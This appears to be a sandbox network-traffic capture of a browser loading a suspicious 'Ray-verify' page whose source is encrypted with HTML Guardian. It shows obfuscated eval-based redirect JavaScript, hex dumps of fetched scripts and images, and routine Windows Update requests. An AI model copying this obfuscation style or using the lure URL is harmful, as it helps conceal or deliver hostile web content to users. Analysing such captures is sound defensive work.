rplc(inpf,fe){feA=Array('htm','html','asp','php','shtml');nu=inpf+'.'+feA[fe];dObj='location'; dVal=''; dAct='.replace("'; dCl='")'; dHex='0xBB';eval(dObj+dAct+dVal+nu+dCl); }function rwl(inp){if(document.getElementById){nulk= Array('k-data::3','source_browser::9','security-set_6::2','v_debug_a::0','directory_7::2','corp_mngr_7::1','compare_encrypt_7::1','corp_data::0','security_audit_6::3','compare_ipr::4');feM=Array('htm','html','asp','php','shtml');c=n8?'obj=':'href=';for(i=0;i<inp.length;i++){a=nulk[inp[i]].slice(0,nulk[inp[i]].indexOf('::'));b=nulk[inp[i]].slice(nulk[inp[i]].indexOf('::')+2);eval("document.getElementById(inp[i])"+"."+c+"a+'.'+feM[b]");}}}
Nov 30, 2024 00:40:35.959996939 CET	278	OUT	GET /scroll.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:36.321105003 CET	599	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:36 GMT Content-Type: text/javascript Content-Length: 361 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 63 72 6f 6c 6c 62 61 72 41 72 72 6f 77 43 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 63 72 6f 6c 6c 62 61 72 46 61 63 65 43 6f 6c 6f 72 3d 22 23 30 30 39 39 30 30 22 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 63 72 6f 6c 6c 62 61 72 54 72 61 63 6b 43 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 65 74 6f 64 6c 28 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6f 64 6c 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 6e 6f 6e 65 27 7d 7d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 6e 73 65 74 6f 64 6c 28 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6f 64 6c 27 29 2e 73 74 79 6c [TRUNCATED] Data Ascii: document.body.style.scrollbarArrowColor="white";document.body.style.scrollbarFaceColor="#009900";document.body.style.scrollbarTrackColor="white";function setodl(){if(document.getElementById){document.getElementById('odl').style.display='none'}};function unsetodl(){if(document.getElementById){document.getElementById('odl').style.display='inline'}};
Nov 30, 2024 00:41:21.331101894 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:34.692394018 CET	276	OUT	GET /stat.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:35.852425098 CET	424	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:35 GMT Content-Type: text/javascript Content-Length: 186 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 66 75 6e 63 74 69 6f 6e 20 6e 73 39 28 29 7b 77 69 6e 64 6f 77 2e 73 74 61 74 75 73 20 3d 20 22 50 72 6f 74 57 61 72 65 27 73 20 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 20 2d 20 74 68 65 20 77 6f 72 6c 64 27 73 20 73 74 61 6e 64 61 72 64 20 66 6f 72 20 77 65 62 73 69 74 65 20 70 72 6f 74 65 63 74 69 6f 6e 20 2d 20 45 6e 63 72 79 70 74 20 48 54 4d 4c 2c 20 41 53 50 2c 20 4a 61 76 61 73 63 72 69 70 74 2c 20 56 42 73 63 72 69 70 74 20 73 6f 75 72 63 65 2e 22 3b 73 65 74 54 69 6d 65 6f 75 74 28 22 6e 73 39 28 29 22 2c 32 30 30 29 3b 7d 3b 6e 73 39 28 29 3b Data Ascii: function ns9(){window.status = "ProtWare's HTML Guardian - the world's standard for website protection - Encrypt HTML, ASP, Javascript, VBscript source.";setTimeout("ns9()",200);};ns9();
Nov 30, 2024 00:40:35.962610006 CET	277	OUT	GET /tpmnu.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:36.314851046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:36 GMT Content-Type: text/javascript Content-Length: 1723 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 42 72 77 73 72 20 3d 20 22 49 45 22 7d 3b 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 6c 61 79 65 72 73 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 34 22 7d 3b 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 20 26 26 20 77 69 6e 64 6f 77 2e 73 69 64 65 62 61 72 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 36 22 7d 3b 0d 0a 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 20 3d 3d 22 4f 70 65 72 61 22 29 7b 42 72 77 73 72 20 3d 20 22 4f 70 65 72 61 22 7d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 6e 6f 45 72 72 4d 73 67 28 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 3b 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 20 3d 20 6e 6f 45 72 72 4d 73 67 3b 0d 0a 74 68 65 66 69 6c 65 3d 22 22 3b 74 68 65 6f 6c 64 66 69 6c 65 3d 22 22 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 6d 66 28 29 7b 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 7b 0d 0a 6c 6f 63 3d 70 61 72 65 6e 74 2e 66 72 61 6d [TRUNCATED] Data Ascii: if(document.all){Brwsr = "IE"};if(document.layers){Brwsr = "NN4"};if(document.getElementById && window.sidebar){Brwsr = "NN6"};if(navigator.appName =="Opera"){Brwsr = "Opera"};function noErrMsg(){return true};window.onerror = noErrMsg;thefile="";theoldfile="";function checkmf(){if(document.getElementById){loc=parent.frames.main.location.href; aloc=loc.lastIndexOf('/');filenam1=loc.substring(aloc+1);thefilearr = filenam1.split(".");thefile=thefilearr[0];if(thefile !== theoldfile){changemenu(thefile,theoldfile)}theoldfile = thefilesetTimeout('checkmf()',500)}}function changemenu(thefile,theoldfile){if(document.getElementById(thefile)!=null){document.getElementById(thefile).style.color = "black"document.getElementById(thefile).style.backgroundColor = "white"}if(theoldfile.length>1 && document.getElementById(theoldfile)!=null){document.getElementById(theoldfile).style.color = "white"document.getElementById(theoldfile).style.backgroun
Nov 30, 2024 00:40:36.315030098 CET	726	IN	Data Raw: 64 43 6f 6c 6f 72 20 3d 20 22 23 30 30 39 39 30 30 22 20 0d 0a 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 6e 66 6f 28 6c 69 6e 6b 49 44 2c 61 63 74 29 7b 0d 0a 74 68 65 4c 61 79 65 72 20 3d 20 22 4c 61 79 65 72 22 20 2b 20 6c Data Ascii: dColor = "#009900" }}function shownfo(linkID,act){theLayer = "Layer" + linkIDif(Brwsr=="IE"){if (act == "over"){eval('document.all.' + theLayer + '.style.visibility = "visible"')}if (act == "out"){eval('document.all.' + t
Nov 30, 2024 00:41:21.315504074 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:35.065464973 CET	277	OUT	GET /prev.gif HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:36.315045118 CET	982	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:36 GMT Content-Type: image/gif Content-Length: 773 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Data Raw: 47 49 46 38 39 61 1e 00 1e 00 e6 ff 00 14 13 13 72 6d 6d 4a 47 47 c0 c0 c0 29 28 28 c0 be be ff ff ff f5 f5 f5 eb eb eb e8 e8 e8 df df df de de de dd dd dd db db db da da da d2 d2 d2 cf cf cf cd cd cd cb cb cb ca ca ca c5 c5 c5 c4 c4 c4 c1 c1 c1 be be be bc bc bc b9 b9 b9 b8 b8 b8 b7 b7 b7 b5 b5 b5 b3 b3 b3 b1 b1 b1 af af af ae ae ae ad ad ad a9 a9 a9 a7 a7 a7 9f 9f 9f 9b 9b 9b 9a 9a 9a 96 96 96 8e 8e 8e 8d 8d 8d 8c 8c 8c 8a 8a 8a 87 87 87 86 86 86 80 80 80 7c 7c 7c 7b 7b 7b 78 78 78 77 77 77 74 74 74 71 71 71 70 70 70 6f 6f 6f 6e 6e 6e 6d 6d 6d 6a 6a 6a 68 68 68 66 66 66 65 65 65 64 64 64 63 63 63 62 62 62 61 61 61 60 60 60 5e 5e 5e 5d 5d 5d 5b 5b 5b 5a 5a 5a 59 59 59 58 58 58 56 56 56 54 54 54 53 53 53 52 52 52 51 51 51 4d 4d 4d 4c 4c 4c 4b 4b 4b 4a 4a 4a 49 49 49 48 48 48 47 47 47 46 46 46 42 42 42 3e 3e 3e 3d 3d 3d 3c 3c 3c 3a 3a 3a 38 38 38 37 37 37 34 34 34 32 32 32 30 30 30 2f 2f 2f 2e 2e 2e 2a 2a 2a 29 29 29 28 28 28 22 22 22 21 21 21 20 20 20 1e 1e 1e 1d 1d 1d 1b 1b 1b 19 19 19 18 18 18 17 [TRUNCATED] Data Ascii: GIF89armmJGG)((\|\|\|{{{xxxwwwtttqqqpppooonnnmmmjjjhhhfffeeedddcccbbbaaa```^^^]]][[[ZZZYYYXXXVVVTTTSSSRRRQQQMMMLLLKKKJJJIIIHHHGGGFFFBBB>>>===<<<:::888777444222000///...**)))((("""!!! !,@:>!/$8svHbsttuk3cDuuD43)'(1FZhor[db`\MH-;9LRXakoqvl04$&7Ufosu52YKt@ABFcWI,S[$0EEj,(_7$l<v(,`@^q.i-,c8l3B:4H!c1$%(DA"tbH!(H\|ILQiFMUfP8qD8YxvJ)J-T#!$-[e:nD8@;
Nov 30, 2024 00:41:21.315500021 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:35.078798056 CET	277	OUT	GET /new3.jpg HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:36.282979012 CET	981	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:36 GMT Content-Type: image/jpeg Content-Length: 771 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 14 00 19 03 01 11 00 02 11 01 03 11 01 ff c4 00 18 00 00 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 03 06 07 04 05 ff c4 00 2a 10 00 01 03 03 02 05 02 07 00 00 00 00 00 00 00 00 01 02 03 04 05 06 11 00 31 13 21 32 41 81 15 22 07 12 51 53 71 91 a1 ff c4 00 1a 01 00 02 02 03 00 00 00 00 00 00 00 00 00 00 00 00 03 05 02 04 00 01 06 ff c4 00 2a 11 00 02 01 03 02 04 04 07 00 00 00 00 00 00 00 00 01 02 11 00 03 31 04 21 05 12 13 51 14 22 61 81 06 23 41 71 a1 c1 f0 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 ae dd 57 2b 96 [TRUNCATED] Data Ascii: JFIFHHC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222221!2A"QSq1!Q"a#Aq?W+bv(ln1o]mLok"p{X2fQEA7tAMbSs=enn,e-_\|jQh\|N{&KquRl_vKrJ@'lg}Tl,`opb%]P;3xA@}2D"\R{AT#O_.x8PDL)'3q[\E0Di%ICHAwYe q.!d7U\bwHNM_sIViPyglN4[WZ$1"=<j"4v#)5<$Aqp8P>`9u>
Nov 30, 2024 00:41:21.284240961 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:35.081655025 CET	277	OUT	GET /next.gif HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:36.284502029 CET	996	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:36 GMT Content-Type: image/gif Content-Length: 787 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Data Raw: 47 49 46 38 39 61 1e 00 1e 00 e6 ff 00 14 13 13 72 6d 6d 4a 47 47 c0 c0 c0 29 28 28 c0 be be ff ff ff e8 e8 e8 df df df de de de dd dd dd db db db d2 d2 d2 cf cf cf cd cd cd cb cb cb ca ca ca c5 c5 c5 c4 c4 c4 c1 c1 c1 bc bc bc b9 b9 b9 b7 b7 b7 b5 b5 b5 b3 b3 b3 b1 b1 b1 af af af ad ad ad a9 a9 a9 a7 a7 a7 a6 a6 a6 a5 a5 a5 9f 9f 9f 9b 9b 9b 9a 9a 9a 96 96 96 94 94 94 8e 8e 8e 8d 8d 8d 8c 8c 8c 8a 8a 8a 87 87 87 86 86 86 84 84 84 80 80 80 7c 7c 7c 7b 7b 7b 79 79 79 78 78 78 77 77 77 76 76 76 75 75 75 74 74 74 71 71 71 70 70 70 6f 6f 6f 6e 6e 6e 6d 6d 6d 6a 6a 6a 68 68 68 66 66 66 65 65 65 64 64 64 63 63 63 62 62 62 61 61 61 60 60 60 5d 5d 5d 5b 5b 5b 5a 5a 5a 59 59 59 58 58 58 56 56 56 54 54 54 53 53 53 52 52 52 51 51 51 4c 4c 4c 4b 4b 4b 4a 4a 4a 49 49 49 48 48 48 47 47 47 46 46 46 45 45 45 42 42 42 3e 3e 3e 3d 3d 3d 3c 3c 3c 3a 3a 3a 38 38 38 37 37 37 34 34 34 33 33 33 32 32 32 30 30 30 2f 2f 2f 2e 2e 2e 2a 2a 2a 29 29 29 28 28 28 22 22 22 21 21 21 20 20 20 1f 1f 1f 1e 1e 1e 1d 1d 1d 1b 1b 1b 19 [TRUNCATED] Data Ascii: GIF89armmJGG)((\|\|\|{{{yyyxxxwwwvvvuuutttqqqpppooonnnmmmjjjhhhfffeeedddcccbbbaaa```]]][[[ZZZYYYXXXVVVTTTSSSRRRQQQLLLKKKJJJIIIHHHGGGFFFEEEBBB>>>===<<<:::888777444333222000///...**)))((("""!!! !,@;?'-Pf9/yHcvwwx3ndDxxD54&#%0FZjqu[eca\$H<:LQXbmqtyn.5 "8Ugqvx61YKv(<qbj58ds+)H>yC*:o`r)E84&I3p1(\|\IcZCCRdh@1CQ!pbPAS4Yn%c7`/02(7l&8C,g,PKJCDR;l)[P#;
Nov 30, 2024 00:41:21.299875021 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:40:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-29 23:40:17 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=97180 Date: Fri, 29 Nov 2024 23:40:17 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:40:17 UTC	672	OUT	GET /Ray-verify.html HTTP/1.1 Host: noisefreqs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-29 23:40:18 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Fri, 29 Nov 2024 23:40:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 10563 Connection: close Last-Modified: Wed, 27 Nov 2024 12:52:55 GMT ETag: "2943-627e471c497c0" Accept-Ranges: bytes Vary: Accept-Encoding
2024-11-29 23:40:18 UTC	10563	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 45 6d 75 6c 61 74 65 49 45 39 27 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 27 47 45 4e 45 52 41 54 4f 52 27 20 43 6f 6e 74 65 6e 74 3d 27 54 68 65 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 66 20 74 68 69 73 20 70 61 67 65 20 69 73 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 2c 20 20 74 68 65 20 77 6f 72 6c 64 27 73 20 73 74 61 6e 64 61 72 74 20 66 6f 72 20 77 65 62 73 69 74 65 20 70 72 6f 74 65 63 74 69 6f 6e 2e 20 56 69 73 69 74 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 77 61 72 65 2e 63 6f 6d 20 66 6f 72 20 64 65 74 61 69 6c 73 27 3e 3c 6d 65 74 Data Ascii: <html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><met

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:40:18 UTC	599	OUT	GET /favicon.ico HTTP/1.1 Host: noisefreqs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://noisefreqs.com/Ray-verify.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-29 23:40:18 UTC	170	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 29 Nov 2024 23:40:18 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 277 Connection: close
2024-11-29 23:40:18 UTC	277	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 6f 69 73 65 66 72 65 71 73 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at noisefreqs.com Port 443</ad

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:40:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-29 23:40:19 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=156947 Date: Fri, 29 Nov 2024 23:40:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-29 23:40:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:40:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XutZmyL2PtaZank&MD=3+svr3o1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-29 23:40:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 235113a3-584a-40fd-a684-58455cd64482 MS-RequestId: d96174e7-0487-453f-8d8f-971cb165f20b MS-CV: TolQCaY820+YAC4W.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 29 Nov 2024 23:40:26 GMT Connection: close Content-Length: 24490
2024-11-29 23:40:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-29 23:40:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XutZmyL2PtaZank&MD=3+svr3o1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
